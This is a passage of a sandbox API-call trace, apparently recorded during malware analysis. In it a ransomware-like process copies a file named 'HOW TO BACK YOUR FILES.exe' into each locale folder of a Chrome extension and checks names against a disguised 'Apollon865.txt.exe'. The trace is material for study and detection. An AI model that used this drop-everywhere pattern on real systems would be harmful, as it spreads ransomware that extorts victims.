	[0048.972] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et"
	[0048.972] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.972] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.976] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.976] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84140710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3543f010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3543f010, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.976] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.976] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.976] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419"
	[0048.976] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419"
	[0048.976] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.976] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.988] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.989] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841391e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35465170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35465170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.989] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.989] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.989] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es"
	[0048.989] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es"
	[0048.989] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.989] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.993] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.993] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84131cb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35465170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35465170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.993] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.993] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.993] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US"
	[0048.993] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US"
	[0048.993] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.993] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.009] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.009] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8412a780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3548b2d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3548b2d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.009] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.009] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.009] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB"
	[0049.009] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB"
	[0049.009] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.009] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_gb\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.013] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.013] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8411bd20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3548b2d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3548b2d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.013] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.013] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.013] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el"
	[0049.013] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el"
	[0049.013] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.013] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.019] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.019] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841147f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x354b1430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x354b1430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.019] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.019] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.020] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de"
	[0049.020] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de"
	[0049.020] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.020] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.024] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.024] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84097fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x354b1430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x354b1430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.024] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.024] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.024] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da"
	[0049.024] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da"
	[0049.024] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.024] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.029] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.029] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8408bc70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x354b1430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x354b1430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.029] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.029] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.029] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs"
	[0049.029] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs"
	[0049.029] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.029] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.033] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.033] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8406e7b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x354b1430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x354b1430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.033] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.033] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
